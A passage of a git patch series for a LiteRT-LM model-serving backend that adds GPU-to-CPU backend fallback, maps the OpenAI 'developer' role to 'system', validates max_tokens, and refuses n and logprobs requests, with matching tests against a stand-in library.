windowOf = async (ref) => { + const reply = await chat(fake, { model: ref, messages: hello }) + assert.equal(reply.status, 200, reply.error) + return reply.headers.get('x-context-window') + } + assert.equal(await windowOf(readable('gpu-broken-ctx8192')), '8192') + assert.equal(await windowOf(readable('gpu-first-ctx8192')), '4096') + // A model that gets a new engine for each conversation (an LFM2 one) tries its own backend once, not every time. + const recurrent = litertlmFile(join(work, 'gpu-broken-lfm2.litertlm'), [tflite('tf_lite_prefill_decode', 'gpu,cpu'), llmMetadata(LFM2)]) + assert.deepEqual(await engines(recurrent), { status: 200, error: undefined, created: ['gpu', 'cpu'] }) + assert.deepEqual(await engines(recurrent), { status: 200, error: undefined, created: ['cpu'] }) + assert.deepEqual(await engines(recurrent), { status: 200, error: undefined, created: ['cpu'] }) +}) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 802c96b..5716c04 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -295,10 +295,10 @@ struct ModelFileInfo { // The decoder keeps a recurrent state besides its KV cache: LFM2's short-convolution cache (the kv_cache_c_* inputs), // or any linear-attention state. See GetOrCreateEngine for why that matters. bool recurrent_state = false; - // What the header's TFLite sections say, when the header could be read: for image and for audio input, the backends - // the file's encoder supports, the one it prefers first; none when it takes no such input. + // What the header's TFLite sections say, when the header could be read: for text, image and audio input, the + // backends the file's decoder or encoder supports, the one it prefers first; none when it takes no such input. bool capabilities_known = false; - std::vector vision_backends, audio_backends; + std::vector text_backends, vision_backends, audio_backends; // The model's own sampler (LlmMetadata's sampler_params): type UNSPECIFIED and zeros for a file that has none, as // LFM2.5-230M and gemma-3-270m-it are, as the C API's litert_lm_loaded_file_sampler_* also answer. LiteRtLmSamplerType sampler_type = kLiteRtLmSamplerTypeUnspecified; @@ -567,6 +567,8 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { const uint32_t n = fb.Length(sections); info.capabilities_known = n > 0; std::optional vision, audio; // the encoder's backend_constraint + std::string text; // the decoder's, or the text encoder's + bool npu_aux = false; // an NPU auxiliary model, which makes NPU a text backend too uint64_t main_begin = 0, main_end = 0; // the main TFLite model, as DiscoverSections picks it bool main_found = false, other_found = false; for (uint32_t k = 0; k < n && k < 4096; ++k) { @@ -602,6 +604,8 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { main_found |= main; other_found |= other; info.artisan |= model_type == "tf_lite_artisan_text_decoder"; + if (main || model_type == "tf_lite_text_encoder" || model_type == "tf_lite_embedder") text = constraint; + npu_aux |= model_type == "tf_lite_aux"; if (model_type == "tf_lite_vision_adapter" || model_type == "tf_lite_vision_encoder") vision = constraint; if (model_type == "tf_lite_audio_adapter" || model_type == "tf_lite_audio_encoder_hw" || model_type == "tf_lite_audio_frontend") { @@ -633,6 +637,18 @@ ModelFileInfo ReadModelFileInfo(std::ifstream& in, const std::string& header) { ReadTflite(model, info); } info.dynamic_context = IsMagicNumber(info.max_context); + // The text's backends as the C API lists them (ConfigureSupportedBackendsAndNpu), except that an Artisan text decoder + // puts GPU first, as `litert-lm serve` does (model.model_default_backend): LiteRT-LM runs it on GPU only, switching + // GPU to GPU_ARTISAN for it (engine_settings.cc). + info.text_backends = ConstraintBackends(text); + if (npu_aux && std::find(info.text_backends.begin(), info.text_backends.end(), "npu") == info.text_backends.end()) { + info.text_backends.push_back("npu"); + } + if (info.artisan) { + std::vector& text_backends = info.text_backends; + text_backends.erase(std::remove(text_backends.begin(), text_backends.end(), "gpu"), text_backends.end()); + text_backends.insert(text_backends.begin(), "gpu"); + } if (vision) info.vision_backends = ConstraintBackends(*vision); if (audio) info.audio_backends = ConstraintBackends(*audio); return info; @@ -698,6 +714,8 @@ struct EngineHolder { bool tools_unconstrained = false; // What the model file says about itself (ModelFileInfo), as it was when this engine was created. ModelFileInfo info; + // The backend the engine runs on: key.backend, or CPU when the model's own backend did not start. + std::string backend; // The context window this engine has, in tokens (-1: unknown), and the larger one that was asked for, if any. int window = -1, window_asked = -1; // The model's decoder keeps a recurrent state (info.recurrent_state), and a message has been sent on this engine @@ -807,20 +825,28 @@ int RuntimeWindow(const ModelFileInfo& info, int asked, const std::string& backe LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, const InputNeeds& needs) { EngineKey key; key.path = ref.path; - key.backend = ref.backend ? *ref.backend : (mc.backend ? Lower(*mc.backend) : "cpu"); + key.backend = ref.backend ? *ref.backend : (mc.backend ? Lower(*mc.backend) : ""); key.max_num_tokens = ref.max_num_tokens ? *ref.max_num_tokens : (mc.max_num_tokens ? *mc.max_num_tokens : -1); key.threads = mc.cpu_thread_count ? *mc.cpu_thread_count : -1; key.gpu_steps = mc.gpu_decode_steps_per_sync ? *mc.gpu_decode_steps_per_sync : -1; key.spec = mc.speculative_decoding ? (*mc.speculative_decoding ? 1 : 0) : -1; key.cache = CacheDirValue(mc.cache); if (key.cache.empty()) key.cache = FallbackCacheDir(ref.path); - if (key.backend != "cpu" && key.backend != "gpu" && key.backend != "npu") { + if (!key.backend.empty() && key.backend != "cpu" && key.backend != "gpu" && key.backend != "npu") { throw HttpError(500, "Failed to load engine: ValueError(\"Unsupported backend: '" + key.backend + "'\")"); } + const ModelFileInfo& info = FileInfo(ref); + // With no backend in the model reference or the config, the model's own: the first its header lists for its text + // (ReadModelFileInfo: a GPU-only bundle lists gpu alone, one with no constraint [cpu, gpu]), as `litert-lm serve` + // picks it (model.model_default_backend: an Artisan text decoder means gpu, else the decoder section's first + // backend_constraint, else cpu). The server picked CPU for every model, so a GPU-only bundle sent without a backend + // failed to load ("Main backend constraint mismatch", engine_settings.cc). A backend the model picked that does not + // start falls back to the next one it lists (below); one the user set does not. + const bool backend_set = !key.backend.empty(); + if (!backend_set) key.backend = info.text_backends.empty() ? "cpu" : info.text_backends.front(); // A vision or audio executor is created only when the engine settings name a backend for it (c/engine.cc, // CreateEngineSettingsHelper), and none was named, so an image sent to LFM2.5-VL-450M got a 500 "Vision executor // should not be null, please TryLoadingVisionExecutor() first." although the model takes images. - const ModelFileInfo& info = FileInfo(ref); key.vision_backend = EncoderBackend(ref, info.vision_backends, mc.vision_backend, "vision"); key.audio_backend = EncoderBackend(ref, info.audio_backends, mc.audio_backend, "audio"); // An image or audio part for a model that has no such input is the request's mistake, said before anything loads. @@ -855,28 +881,12 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, co ReleaseEngine(); } - Log("Initializing engine for model: " + ref.path + " (backend: " + key.backend + - (key.vision_backend.empty() ? "" : ", vision: " + key.vision_backend) + - (key.audio_backend.empty() ? "" : ", audio: " + key.audio_backend) + ")"); - auto t0 = std::chrono::steady_clock::now(); - L.litert_lm_clear_last_error(); - LiteRtLmEngineSettings* s = L.litert_lm_engine_settings_create( - ref.path.c_str(), key.backend.c_str(), key.vision_backend.empty() ? nullptr : key.vision_backend.c_str(), - key.audio_backend.empty() ? nullptr : key.audio_backend.c_str()); - if (!s) { - std::string why = LastRuntimeError(); - throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create engine settings for " + ref.path + - (why.empty() ? "" : ": " + why) + "')"); - } - L.litert_lm_engine_settings_enable_benchmark(s); - L.litert_lm_engine_settings_set_use_ringbuffers_local_attention(s, true); - if (key.backend == "cpu" && key.threads > 0) L.litert_lm_engine_settings_set_num_threads(s, key.threads); // A context larger than the model takes was cut to the model's by the runtime with only a WARNING in its log // ("Passed in max_num_tokens (8192) is larger than what the static model supports (4096). Using model limit.", // ClampMaxNumTokens in llm_litert_compiled_model_executor.cc), so nobody was told, and "length" was judged against // the size asked for: a reply cut off at the model's 4096 read "stop". Now the server gives the model its own // limit, says so in the log, and reports both on /v1/models and in each reply's headers. With no size asked for, - // the window is the one the runtime picks (RuntimeWindow). + // the window is the one the runtime picks (RuntimeWindow, once the backend is known). int window = key.max_num_tokens > 0 ? RuntimeWindow(info, key.max_num_tokens, key.backend) : -1, window_asked = -1; if (window > 0 && window < key.max_num_tokens) { window_asked = key.max_num_tokens; @@ -889,21 +899,63 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc, co " tokens); its context window is " + std::to_string(window)); } } - if (window > 0) L.litert_lm_engine_settings_set_max_num_tokens(s, window); - if (window <= 0) window = RuntimeWindow(info, -1, key.backend); - L.litert_lm_engine_settings_set_cache_dir(s, key.cache.c_str()); - if (key.spec >= 0) L.litert_lm_engine_settings_set_enable_speculative_decoding(s, key.spec == 1); - if (key.backend == "gpu" && key.gpu_steps > 0) L.litert_lm_engine_settings_set_gpu_decode_steps_per_sync(s, key.gpu_steps); - - LiteRtLmEngine* e = L.litert_lm_engine_create(s); - L.litert_lm_engine_settings_delete(s); - if (!e) { - std::string why = LastRuntimeError(); - throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for " + ref.path + - (why.empty() ? "" : ": " + why) + "')"); - } + auto t0 = std::chrono::steady_clock::now(); + // The engine on `backend`, or null with the runtime's reason in `why`. + std::string why; + auto create = [&](const std::string& backend) -> LiteRtLmEngine* { + Log("Initializing engine for model: " + ref.path + " (backend: " + backend + + (key.vision_backend.empty() ? "" : ", vision: " + key.vision_backend) + + (key.audio_backend.empty() ? "" : ", audio: " + key.audio_backend) + ")"); + L.litert_lm_clear_last_error(); + LiteRtLmEngineSettings* s = L.litert_lm_engine_settings_create( + ref.path.c_str(), backend.c_str(), key.vision_backend.empty() ? nullptr : key.vision_backend.c_str(), + key.audio_backend.empty() ? nullptr : key.audio_backend.c_str()); + if (!s) { + why = "Failed to create engine settings for " + ref.path; + if (std::string runtime = LastRuntimeError(); !runtime.empty()) why += ": " + runtime; + return nullptr; + } + L.litert_lm_engine_settings_enable_benchmark(s); + L.litert_lm_engine_settings_set_use_ringbuffers_local_attention(s, true); + if (backend == "cpu" && key.threads > 0) L.litert_lm_engine_settings_set_num_threads(s, key.threads); + if (window > 0) L.litert_lm_engine_settings_set_max_num_tokens(s, window); + L.litert_lm_engine_settings_set_cache_dir(s, key.cache.c_str()); + if (key.spec >= 0) L.litert_lm_engine_settings_set_enable_speculative_decoding(s, key.spec == 1); + if (backend == "gpu" && key.gpu_steps > 0) L.litert_lm_engine_settings_set_gpu_decode_steps_per_sync(s, key.gpu_steps); + LiteRtLmEngine* e = L.litert_lm_engine_create(s); + L.litert_lm_engine_settings_delete(s); + if (!e) { + why = "Failed to create LiteRT-LM engine for " + ref.path; + if (std::string runtime = LastRuntimeError(); !runtime.empty()) why += ": " + runtime; + } + return e; + }; + // A new engine for a fresh state (above) runs where the one before it did, so a model whose own backend fell back is + // not tried on that backend again for every conversation. A backend other than CPU that the model picked and that + // does not start falls back to the next one the model lists, and only to one it lists: a GPU-only bundle was tried + // on CPU, which cannot run it, and the error then gave the CPU's reason instead of the GPU's. When none starts, the + // error gives each one's reason. + std::vector backends = {fresh_state ? g_engine.backend : key.backend}; + if (!backend_set && backends[0] != "cpu") { + auto at = std::find(info.text_backends.begin(), info.text_backends.end(), backends[0]); + if (at != info.text_backends.end()) backends.insert(backends.end(), at + 1, info.text_backends.end()); + } + if (!backend_set && !fresh_state && backends[0] != "cpu") Log("Using " + ref.id + "'s own backend: " + backends[0]); + LiteRtLmEngine* e = nullptr; + std::string backend, reasons; + for (size_t i = 0; i < backends.size() && !e; ++i) { + backend = backends[i]; + if ((e = create(backend))) break; + reasons += (reasons.empty() ? "" : "; ") + (backends.size() > 1 ? "on " + backend + ": " : std::string()) + why; + if (i + 1 < backends.size()) { + Log(ref.id + "'s own backend, " + backend + ", did not start (" + why + "); falling back to " + backends[i + 1]); + } + } + if (!e) throw HttpError(500, "Failed to load engine: RuntimeError('" + reasons + "')"); + if (window <= 0) window = RuntimeWindow(info, -1, backend); g_engine.engine = e; g_engine.key = key; + g_engine.backend = backend; // The same model and settings again: what was found out about the model still holds. if (!fresh_state) g_engine.tools_unconstrained = false; g_engine.info = info; @@ -1902,7 +1954,7 @@ void HandleChatCompletions(int fd, const Request& req) { // Engine.create_conversation, with the options the serve path passes, but constrained decoding only with tools // (below). LiteRtLmSessionConfig* sc = L.litert_lm_session_config_create(); - if (auto sampling = SamplingFor(body, g_engine.info, g_engine.key.backend, ref.id, has_sampler)) { + if (auto sampling = SamplingFor(body, g_engine.info, g_engine.backend, ref.id, has_sampler)) { LiteRtLmSamplerParams* sp = L.litert_lm_sampler_params_create(kLiteRtLmSamplerTypeTopP); L.litert_lm_sampler_params_set_top_k(sp, sampling->top_k); L.litert_lm_sampler_params_set_top_p(sp, sampling->top_p); diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index ddd3d47..c778558 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -11,6 +11,8 @@ // no-llg has no LLGuidance constraint provider (constraint_provider_factory.cc:43-56) // broken cannot create any conversation // anything else takes both (a Gemma model whose vocabulary the FST library supports) +// and, whatever the file's header says: an engine for gpu-broken cannot be created on gpu, as on a phone whose GPU +// path fails, and one for no-engine on no backend at all. // Each conversation created is logged with what its config asked for: {"call": "conversation_create", "model": ..., // "config": {"sampler": {...}, ...}}. // A conversation answers with one chunk of text that says how it was created and sent, for example @@ -34,7 +36,7 @@ #include "nlohmann/json.hpp" struct LiteRtLmEngineSettings { - std::string model; + std::string model, backend; }; struct LiteRtLmEngine { std::string model; @@ -103,14 +105,22 @@ LiteRtLmEngineSettings* litert_lm_engine_settings_create(const char* model_path, auto name = [](const char* b) { return b ? nlohmann::json(b) : nlohmann::json(nullptr); }; Record({{"call", "engine_settings_create"}, {"model", Basename(model_path)}, {"backend", name(backend)}, {"vision_backend", name(vision_backend)}, {"audio_backend", name(audio_backend)}}); - return new LiteRtLmEngineSettings{Basename(model_path)}; + return new LiteRtLmEngineSettings{Basename(model_path), backend ? backend : ""}; } void litert_lm_engine_settings_set_max_num_tokens(LiteRtLmEngineSettings* s, int n) { Record({{"call", "engine_settings_set_max_num_tokens"}, {"model", s->model}, {"max_num_tokens", n}}); } void litert_lm_engine_settings_delete(LiteRtLmEngineSettings* s) { delete s; } LiteRtLmEngine* litert_lm_engine_create(const LiteRtLmEngineSettings* s) { - Record({{"call", "engine_create"}, {"model", s->model}}); + Record({{"call", "engine_create"}, {"model", s->model}, {"backend", s->backend}}); + if (Is(s->model, "gpu-broken") && s->backend == "gpu") { + g_error = "UNAVAILABLE: no usable OpenCL device"; + return nullptr; + } + if (Is(s->model, "no-engine")) { + g_error = "INTERNAL: cannot load the model on " + s->backend; + return nullptr; + } return new LiteRtLmEngine{s->model}; } void litert_lm_engine_delete(LiteRtLmEngine* e) { delete e; } From 6883593d8ff507cd9503215a4dea6d9166a88570 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:27:35 +0000 Subject: [PATCH 77/80] fix(litert-lm-server): a developer message is a system message OpenAI's `developer` role, its newer name for `system`, reached the model's template as a role it does not know, so an API client's system instructions were not followed. On LFM2.5-230M, [developer "Answer in one word.", user "What is the capital of France?"] got "The capital of France is Paris." (27 prompt tokens: the word was rendered as text) where [system ...] gets "Paris" (26); gemma-3-270m-it and Qwen3-0.6B also answered differently. Nothing in the daemon maps developer to system either, and the Python `litert-lm serve` passes it through as this server did. Older bug: origin/main has it (TranslateMessage passes the role as is). - engines/litert-lm-server/src/main.cc: TranslateMessage reads the developer role as system, for the preface and for the message sent, and the server says so once ("the developer role is read as system, its older name"). Behaviour change: developer messages are followed as system messages. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library, which now logs a conversation's preface messages: "a developer message is a system message"; and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model follows a developer message as it follows a system one: " (greedy: the same reply and prompt token count). With main.cc as it was, both fail: role 'developer', and on LFM2.5-230M_int8 'The capital of France is Paris.' (27 tokens) for 'Paris' (26), on gemma-3-270m-it and Qwen3-0.6B other replies too. No existing test changed. --- .../litert-lm-server/model-settings.test.mjs | 32 +++++++++++++++++++ engines/litert-lm-server/src/main.cc | 11 +++++++ .../testdata/fake_litert_lm.cc | 3 ++ 3 files changed, 46 insertions(+) diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 96e8804..4f1ba72 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -972,3 +972,35 @@ test('with no backend set, the model\'s own is used, and one that does not start assert.deepEqual(await engines(recurrent), { status: 200, error: undefined, created: ['cpu'] }) assert.deepEqual(await engines(recurrent), { status: 200, error: undefined, created: ['cpu'] }) }) + +test('a developer message is a system message', { skip, timeout: 60_000 }, async () => { + let log = await callsDuring(async () => { + const reply = await chat(fake, { model: readable('plain'), messages: [{ role: 'developer', content: 'Answer in one word.' }, ...hello] }) + assert.equal(reply.status, 200, reply.error) + }) + assert.deepEqual(log.filter((c) => c.call === 'conversation_create').at(-1).config.messages, [{ role: 'system', content: 'Answer in one word.' }]) + log = await callsDuring(async () => { + const reply = await chat(fake, { model: readable('plain'), messages: [{ role: 'developer', content: [{ type: 'text', text: 'Be brief.' }] }] }) + assert.equal(reply.status, 200, reply.error) + }) + assert.deepEqual(log.filter((c) => c.call === 'send_message').at(-1).message, { role: 'system', content: [{ type: 'text', text: 'Be brief.' }] }) + assert.equal((await logged(fake)).filter((l) => l === 'the developer role is read as system, its older name').length, 1) +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model follows a developer message as it follows a system one: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ask = async (role) => { + const reply = await chat(server, { model: `${path},cpu`, messages: [{ role, content: 'Answer in one word.' }, { role: 'user', content: 'What is the capital of France?' }], max_completion_tokens: 24, temperature: 0, reasoning_effort: 'none' }, 300_000) + assert.equal(reply.status, 200, reply.error) + return { content: reply.content, prompt: reply.usage.prompt_tokens } + } + assert.deepEqual(await ask('developer'), await ask('system')) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 5716c04..620a635 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -34,6 +34,7 @@ // - A new engine for each conversation of a model whose decoder keeps a recurrent state (LFM2), which the runtime // would otherwise carry from one conversation into the next (see GetOrCreateEngine). // - An image or audio part sent to a model that takes no such input is a 400 that says so, not the runtime's 500. +// - The developer role, OpenAI's newer name for system, is read as system. // // Not translated: /v1/responses, /v1/embeddings and the Gemini API (TurboLLM uses none of them // with this engine), and image URLs other than base64 data: URLs (remote URLs, and local paths, which the Python @@ -1049,6 +1050,16 @@ json TranslateMessage(const json& msg, const std::map& if (!msg.is_object()) throw HttpError(400, "Invalid messages: Message must be an object"); std::string role = msg.value("role", ""); json content = msg.contains("content") ? msg["content"] : json(); + // OpenAI's newer name for the system role. Model templates know only "system", so a developer message was rendered + // as an unknown role (LFM2.5-230M showed the word in its prompt) and its instructions were not followed: with + // developer "Answer in one word." it answered "The capital of France is Paris." where the system role gets "Paris". + if (role == "developer") { + static std::once_flag told; + std::call_once(told, [] { Log("the developer role is read as system, its older name"); }); + json out = msg; + out["role"] = "system"; + return TranslateMessage(out, names); + } if (role == "tool") { std::string id = msg.value("tool_call_id", ""); diff --git a/engines/litert-lm-server/testdata/fake_litert_lm.cc b/engines/litert-lm-server/testdata/fake_litert_lm.cc index c778558..af6ce5c 100644 --- a/engines/litert-lm-server/testdata/fake_litert_lm.cc +++ b/engines/litert-lm-server/testdata/fake_litert_lm.cc @@ -151,6 +151,9 @@ void litert_lm_thinking_config_set_thinking_token_budget(LiteRtLmThinkingConfig* void litert_lm_conversation_config_set_thinking_config(LiteRtLmConversationConfig* c, const LiteRtLmThinkingConfig* t) { c->config["thinking"] = t->j; } +void litert_lm_conversation_config_set_messages(LiteRtLmConversationConfig* c, const char* messages_json) { + c->config["messages"] = nlohmann::json::parse(messages_json ? messages_json : "null", nullptr, false); +} void litert_lm_conversation_config_set_extra_context(LiteRtLmConversationConfig* c, const char* extra_context_json) { c->config["extra_context"] = nlohmann::json::parse(extra_context_json ? extra_context_json : "null", nullptr, false); } From 30cd21973e637b613cfa1209d050f75ad603ec95 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:29:56 +0000 Subject: [PATCH 78/80] fix(litert-lm-server): max_tokens is read, and a cap below 1 is a 400 max_completion_tokens 0 or below was passed to the runtime, which then generated one token, and the server called that "length": on LFM2.5-230M, {"max_completion_tokens": 0} and -5 both answered "The", 1 completion token, finish_reason "length". OpenAI refuses values below 1. And max_tokens, OpenAI's older name for the same cap, which most API clients still send, was not read at all: {"max_tokens": 5} got the whole sentence. (The daemon renames max_tokens for a LiteRT-LM model; direct clients of this server do not.) Older bug: origin/main has it (max_completion_tokens only type-checked; max_tokens never read). - engines/litert-lm-server/src/main.cc: the reply's cap is max_completion_tokens, or max_tokens when that is absent or null. Either must be an integer of at least 1, else a 400 that names the field and the value ("max_completion_tokens must be an integer of at least 1, got 0"). Behaviour change: max_tokens caps the reply; a cap below 1 (or not an integer) is a 400 instead of a one-token reply. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library: "max_completion_tokens or max_tokens caps the reply, and below 1 is a 400"; and, with LITERT_LM_TEST_LIBRARY and LITERT_LM_TEST_MODELS set, "a real model's reply is capped by max_tokens, and max_completion_tokens 0 is a 400: ". With main.cc as it was, both fail: no cap for max_tokens 5, and on LFM2.5-230M_int8 a 90-token reply for it. No existing test changed. --- .../litert-lm-server/model-settings.test.mjs | 41 +++++++++++++++++++ engines/litert-lm-server/src/main.cc | 12 ++++-- 2 files changed, 49 insertions(+), 4 deletions(-) diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index 4f1ba72..f6261ed 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -1004,3 +1004,44 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +test('max_completion_tokens or max_tokens caps the reply, and below 1 is a 400', { skip, timeout: 60_000 }, async () => { + const cap = async (request) => { + const log = await callsDuring(async () => { + const reply = await chat(fake, { model: readable('plain'), messages: hello, ...request }) + assert.equal(reply.status, 200, reply.error) + }) + return log.filter((c) => c.call === 'send_message').at(-1).args.max_output_tokens ?? null + } + assert.equal(await cap({}), null) + assert.equal(await cap({ max_completion_tokens: 7 }), 7) + assert.equal(await cap({ max_tokens: 5 }), 5) + assert.equal(await cap({ max_completion_tokens: 7, max_tokens: 5 }), 7) + assert.equal(await cap({ max_completion_tokens: null, max_tokens: 5 }), 5) + for (const [request, error] of [ + [{ max_completion_tokens: 0 }, 'max_completion_tokens must be an integer of at least 1, got 0'], + [{ max_completion_tokens: -5 }, 'max_completion_tokens must be an integer of at least 1, got -5'], + [{ max_completion_tokens: 1.5 }, 'max_completion_tokens must be an integer of at least 1, got 1.5'], + [{ max_tokens: 0 }, 'max_tokens must be an integer of at least 1, got 0'], + ]) { + assert.deepEqual(await chat(fake, { model: readable('plain'), messages: hello, ...request }), { status: 400, error }) + } +}) + +for (const path of realModels.length ? realModels : ['']) { + test(`a real model's reply is capped by max_tokens, and max_completion_tokens 0 is a 400: ${path}`, { skip: skipReal, timeout: 900_000 }, async () => { + const config = join(work, 'no-cache.json') + writeFileSync(config, JSON.stringify({ default: { cache: 'no' } })) + const server = await startServer(binary, { ...process.env, LITERT_LM_LIBRARY: realLibrary }, ['--config', config]) + try { + const ask = (extra) => chat(server, { model: `${path},cpu`, messages: [{ role: 'user', content: 'Write two sentences about the sea.' }], temperature: 0, reasoning_effort: 'none', ...extra }, 300_000) + const capped = await ask({ max_tokens: 5 }) + assert.equal(capped.status, 200, capped.error) + assert.ok(capped.usage.completion_tokens <= 5, `${capped.usage.completion_tokens} tokens`) + assert.equal(capped.finish, 'length') + assert.equal((await ask({ max_completion_tokens: 0 })).status, 400) + } finally { + stopServer(server) + } + }) +} diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 620a635..0defa05 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1814,13 +1814,17 @@ void HandleChatCompletions(int fd, const Request& req) { // conversation.normalize_message: a bare string is a user turn. if (prompt.is_string()) prompt = {{"role", "user"}, {"content", prompt}}; + // max_completion_tokens, or max_tokens, OpenAI's older name for it, which the server did not read: a client that + // sent max_tokens 5 got the whole reply. Below 1 is a 400, as OpenAI answers it: the runtime generated one token + // for 0 or -5 and the server called that "length". std::optional max_tokens; - if (body.contains("max_completion_tokens") && !body["max_completion_tokens"].is_null()) { - if (!body["max_completion_tokens"].is_number_integer()) { - SendError(fd, req, 400, "max_completion_tokens must be an integer"); + for (const char* k : {"max_completion_tokens", "max_tokens"}) { + if (max_tokens || !body.contains(k) || body[k].is_null()) continue; + if (!body[k].is_number_integer() || body[k].get() < 1 || body[k].get() > INT32_MAX) { + SendError(fd, req, 400, std::string(k) + " must be an integer of at least 1, got " + body[k].dump()); return; } - max_tokens = body["max_completion_tokens"].get(); + max_tokens = body[k].get(); } // openai_chat_completions.parse_sampler_config. A value the runtime cannot take is the request's mistake, a 400 that From 4f2132d139e411af67cfe4ee7e623c8439b3c64d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Sat, 24 Oct 2026 20:31:18 +0000 Subject: [PATCH 79/80] fix(litert-lm-server): n, logprobs and top_logprobs are refused A request for several choices or for token log-probabilities got a 200 without them, and nothing said so: on LFM2.5-230M {"n": 2} returned one choice, and {"logprobs": true, "top_logprobs": 3} returned none. LiteRT-LM's conversation API, the one this server uses, gives one reply per message and no log-probabilities (its candidates and token scores exist only on the lower-level session API), so the server cannot honour either. Older bug: origin/main has it (neither field is read). - engines/litert-lm-server/src/main.cc: n other than 1, logprobs other than false and top_logprobs other than 0 are a 400 that names the field and why: "Unsupported parameter: n 2: this server gives one choice per request", "Unsupported parameter: logprobs true: LiteRT-LM gives no token log-probabilities". Absent, null, n 1, logprobs false and top_logprobs 0 are fine, as before. Behaviour change: such a request gets a 400 instead of a reply that lacks what it asked for. Tests: in engines/litert-lm-server/model-settings.test.mjs, against the stand-in library: "n above 1, logprobs and top_logprobs, which LiteRT-LM cannot give, are 400s that name the field". With main.cc as it was it fails (200s). No existing test changed. --- .../litert-lm-server/model-settings.test.mjs | 16 ++++++++++++++++ engines/litert-lm-server/src/main.cc | 19 +++++++++++++++++++ 2 files changed, 35 insertions(+) diff --git a/engines/litert-lm-server/model-settings.test.mjs b/engines/litert-lm-server/model-settings.test.mjs index f6261ed..5b3e5df 100644 --- a/engines/litert-lm-server/model-settings.test.mjs +++ b/engines/litert-lm-server/model-settings.test.mjs @@ -1045,3 +1045,19 @@ for (const path of realModels.length ? realModels : ['']) { } }) } + +test('n above 1, logprobs and top_logprobs, which LiteRT-LM cannot give, are 400s that name the field', { skip, timeout: 60_000 }, async () => { + const model = readable('plain') + for (const ok of [{ n: 1 }, { n: null }, { logprobs: false }, { top_logprobs: 0 }, { logprobs: null }]) { + assert.equal((await chat(fake, { model, messages: hello, ...ok })).status, 200, JSON.stringify(ok)) + } + for (const [request, error] of [ + [{ n: 2 }, 'Unsupported parameter: n 2: this server gives one choice per request'], + [{ n: 0 }, 'Unsupported parameter: n 0: this server gives one choice per request'], + [{ logprobs: true }, 'Unsupported parameter: logprobs true: LiteRT-LM gives no token log-probabilities'], + [{ logprobs: true, top_logprobs: 3 }, 'Unsupported parameter: logprobs true: LiteRT-LM gives no token log-probabilities'], + [{ top_logprobs: 3 }, 'Unsupported parameter: top_logprobs 3: LiteRT-LM gives no token log-probabilities'], + ]) { + assert.deepEqual(await chat(fake, { model, messages: hello, ...request }), { status: 400, error }, JSON.stringify(request)) + } +}) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 0defa05..b712527 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -1827,6 +1827,25 @@ void HandleChatCompletions(int fd, const Request& req) { max_tokens = body[k].get(); } + // What LiteRT-LM's conversation API cannot give, said rather than dropped: it returns one reply per message, with no + // token log-probabilities (those exist only on its lower-level session API), so n above 1 got one choice and + // logprobs none, both with a 200. + { + auto has = [&](const char* k) { return body.contains(k) && !body[k].is_null(); }; + std::string why; + if (has("n") && !(body["n"].is_number_integer() && body["n"].get() == 1)) { + why = "n " + body["n"].dump() + ": this server gives one choice per request"; + } else if (has("logprobs") && !(body["logprobs"].is_boolean() && !body["logprobs"].get())) { + why = "logprobs " + body["logprobs"].dump() + ": LiteRT-LM gives no token log-probabilities"; + } else if (has("top_logprobs") && !(body["top_logprobs"].is_number_integer() && body["top_logprobs"].get() == 0)) { + why = "top_logprobs " + body["top_logprobs"].dump() + ": LiteRT-LM gives no token log-probabilities"; + } + if (!why.empty()) { + SendError(fd, req, 400, "Unsupported parameter: " + why); + return; + } + } + // openai_chat_completions.parse_sampler_config. A value the runtime cannot take is the request's mistake, a 400 that // names the field: it was a 500 with the runtime's words ("INVALID_ARGUMENT: p must be in [0, 1].", "Temperature // must be >= 0"), and a top_k or seed with a fraction was cut to an integer. top_k 0 or 